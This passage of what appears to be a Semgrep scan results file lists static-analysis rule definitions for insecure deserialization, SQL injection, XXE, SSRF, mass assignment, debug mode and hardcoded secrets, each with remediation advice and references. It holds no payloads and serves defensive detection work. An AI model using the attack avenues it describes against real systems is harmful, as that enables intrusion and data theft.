java.lang.security.audit.formatted-sql-string-deepsemgrep.formatted-sql-string-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-numpy-pickle-fastapi.tainted-numpy-pickle-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-numpy-pickle-fastapi.tainted-numpy-pickle-fastapi","id":"python.fastapi.deserialization.tainted-numpy-pickle-fastapi.tainted-numpy-pickle-fastapi","name":"python.fastapi.deserialization.tainted-numpy-pickle-fastapi.tainted-numpy-pickle-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-numpy-pickle-fastapi.tainted-numpy-pickle-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$REQ` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements. An example of parameterized queries like so: `knex.raw('SELECT $1 from table', [userinput])` can help prevent SQLi."},"help":{"markdown":"Detected SQL statement that is tainted by `$REQ` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements. An example of parameterized queries like so: `knex.raw('SELECT $1 from table', [userinput])` can help prevent SQLi.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-knex-sqli.node-knex-sqli)\n - [https://knexjs.org/#Builder-fromRaw](https://knexjs.org/#Builder-fromRaw)\n - [https://knexjs.org/#Builder-whereRaw](https://knexjs.org/#Builder-whereRaw)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n","text":"Detected SQL statement that is tainted by `$REQ` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements. An example of parameterized queries like so: `knex.raw('SELECT $1 from table', [userinput])` can help prevent SQLi."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-knex-sqli.node-knex-sqli","id":"javascript.lang.security.audit.sqli.node-knex-sqli.node-knex-sqli","name":"javascript.lang.security.audit.sqli.node-knex-sqli.node-knex-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.sqli.node-knex-sqli.node-knex-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"No validation of origin is done by the addEventListener API. It may be possible to exploit this flaw to perform Cross Origin attacks such as Cross-Site Scripting(XSS)."},"help":{"markdown":"No validation of origin is done by the addEventListener API. It may be possible to exploit this flaw to perform Cross Origin attacks such as Cross-Site Scripting(XSS).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.insufficient-postmessage-origin-validation.insufficient-postmessage-origin-validation)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"No validation of origin is done by the addEventListener API. It may be possible to exploit this flaw to perform Cross Origin attacks such as Cross-Site Scripting(XSS)."},"helpUri":"https://semgrep.dev/r/javascript.browser.security.insufficient-postmessage-origin-validation.insufficient-postmessage-origin-validation","id":"javascript.browser.security.insufficient-postmessage-origin-validation.insufficient-postmessage-origin-validation","name":"javascript.browser.security.insufficient-postmessage-origin-validation.insufficient-postmessage-origin-validation","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.insufficient-postmessage-origin-validation.insufficient-postmessage-origin-validation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cryptographic operations were identified that leverage a hardcoded salt/nonce. A salt does not need to remain secret, but should be random, generated from cryptographically secure sources of entropy, such as an CSPRNG. On iOS/macOS platforms, secure random data can be obtained via the `SecCopyRandomBytes` API available from RandomizationServices."},"help":{"markdown":"Cryptographic operations were identified that leverage a hardcoded salt/nonce. A salt does not need to remain secret, but should be random, generated from cryptographically secure sources of entropy, such as an CSPRNG. On iOS/macOS platforms, secure random data can be obtained via the `SecCopyRandomBytes` API available from RandomizationServices.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.hardcoded-salt.hardcoded-salt)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://developer.apple.com/documentation/security/randomization_services](https://developer.apple.com/documentation/security/randomization_services)\n","text":"Cryptographic operations were identified that leverage a hardcoded salt/nonce. A salt does not need to remain secret, but should be random, generated from cryptographically secure sources of entropy, such as an CSPRNG. On iOS/macOS platforms, secure random data can be obtained via the `SecCopyRandomBytes` API available from RandomizationServices."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.hardcoded-salt.hardcoded-salt","id":"swift.commoncrypto.hardcoded-salt.hardcoded-salt","name":"swift.commoncrypto.hardcoded-salt.hardcoded-salt","properties":{"precision":"very-high","tags":["CWE-323: Nonces should be used for the present occasion and only once.","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.hardcoded-salt.hardcoded-salt"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This rule is deprecated"},"help":{"markdown":"This rule is deprecated\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.no-direct-response-writer-deepsemgrep.no-direct-response-writer-deepsemgrep)\n - [https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html](https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html)\n","text":"This rule is deprecated"},"helpUri":"https://semgrep.dev/r/java.servlets.security.no-direct-response-writer-deepsemgrep.no-direct-response-writer-deepsemgrep","id":"java.servlets.security.no-direct-response-writer-deepsemgrep.no-direct-response-writer-deepsemgrep","name":"java.servlets.security.no-direct-response-writer-deepsemgrep.no-direct-response-writer-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.no-direct-response-writer-deepsemgrep.no-direct-response-writer-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxparser-xxe-servlet.tainted-saxparser-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxparser-xxe-servlet.tainted-saxparser-xxe-servlet","id":"java.servlets.security.xxe.tainted-saxparser-xxe-servlet.tainted-saxparser-xxe-servlet","name":"java.servlets.security.xxe.tainted-saxparser-xxe-servlet.tainted-saxparser-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-saxparser-xxe-servlet.tainted-saxparser-xxe-servlet"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-urllib3.tainted-django-http-request-urllib3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-urllib3.tainted-django-http-request-urllib3","id":"python.django.net.tainted-django-http-request-urllib3.tainted-django-http-request-urllib3","name":"python.django.net.tainted-django-http-request-urllib3.tainted-django-http-request-urllib3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-urllib3.tainted-django-http-request-urllib3"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks for dangerous permitted attributes that can lead to mass assignment vulnerabilities. Query parameters allowed using permit and attr_accessible are checked for allowance of dangerous attributes admin, banned, role, and account_id. Also checks for usages of params.permit!, which allows everything. Fix: don't allow admin, banned, role, and account_id using permit or attr_accessible."},"help":{"markdown":"Checks for dangerous permitted attributes that can lead to mass assignment vulnerabilities. Query parameters allowed using permit and attr_accessible are checked for allowance of dangerous attributes admin, banned, role, and account_id. Also checks for usages of params.permit!, which allows everything. Fix: don't allow admin, banned, role, and account_id using permit or attr_accessible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.model-attr-accessible.model-attr-accessible)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_model_attr_accessible.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_model_attr_accessible.rb)\n","text":"Checks for dangerous permitted attributes that can lead to mass assignment vulnerabilities. Query parameters allowed using permit and attr_accessible are checked for allowance of dangerous attributes admin, banned, role, and account_id. Also checks for usages of params.permit!, which allows everything. Fix: don't allow admin, banned, role, and account_id using permit or attr_accessible."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.model-attr-accessible.model-attr-accessible","id":"ruby.lang.security.model-attr-accessible.model-attr-accessible","name":"ruby.lang.security.model-attr-accessible.model-attr-accessible","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.model-attr-accessible.model-attr-accessible"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. If DTD is required for local files then pass the `XML_PARSE_NONET` option which will disable network access."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. If DTD is required for local files then pass the `XML_PARSE_NONET` option which will disable network access.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-remote-dtd.libxml2-expand-remote-dtd)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. If DTD is required for local files then pass the `XML_PARSE_NONET` option which will disable network access."},"helpUri":"https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-remote-dtd.libxml2-expand-remote-dtd","id":"cpp.libxml2.security.libxml2-expand-remote-dtd.libxml2-expand-remote-dtd","name":"cpp.libxml2.security.libxml2-expand-remote-dtd.libxml2-expand-remote-dtd","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.libxml2.security.libxml2-expand-remote-dtd.libxml2-expand-remote-dtd"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables."},"help":{"markdown":"Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.debug-enabled.debug-enabled)\n - [https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/](https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/)\n","text":"Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.debug-enabled.debug-enabled","id":"python.flask.security.audit.debug-enabled.debug-enabled","name":"python.flask.security.audit.debug-enabled.debug-enabled","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.debug-enabled.debug-enabled"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"help":{"markdown":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-conf.ktor-development-mode-conf)\n - [https://ktor.io/docs/development-mode.html#application-conf](https://ktor.io/docs/development-mode.html#application-conf)\n","text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-conf.ktor-development-mode-conf","id":"kotlin.ktor.active-debug-code.ktor-development-mode-conf.ktor-development-mode-conf","name":"kotlin.ktor.active-debug-code.ktor-development-mode-conf.ktor-development-mode-conf","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.active-debug-code.ktor-development-mode-conf.ktor-development-mode-conf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret-argument.node-sequelize-hardcoded-secret-argument)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret-argument.node-sequelize-hardcoded-secret-argument","id":"javascript.sequelize.node-sequelize-hardcoded-secret-argument.node-sequelize-hardcoded-secret-argument","name":"javascript.sequelize.node-sequelize-hardcoded-secret-argument.node-sequelize-hardcoded-secret-argument","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-hardcoded-secret-argument.node-sequelize-hardcoded-secret-argument"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-goto-injection.puppeteer-goto-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-goto-injection.puppeteer-goto-injection","id":"javascript.puppeteer.security.audit.puppeteer-goto-injection.puppeteer-goto-injection","name":"javascript.puppeteer.security.audit.puppeteer-goto-injection.puppeteer-goto-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.puppeteer.security.audit.puppeteer-goto-injection.puppeteer-goto-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","id":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","name":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection 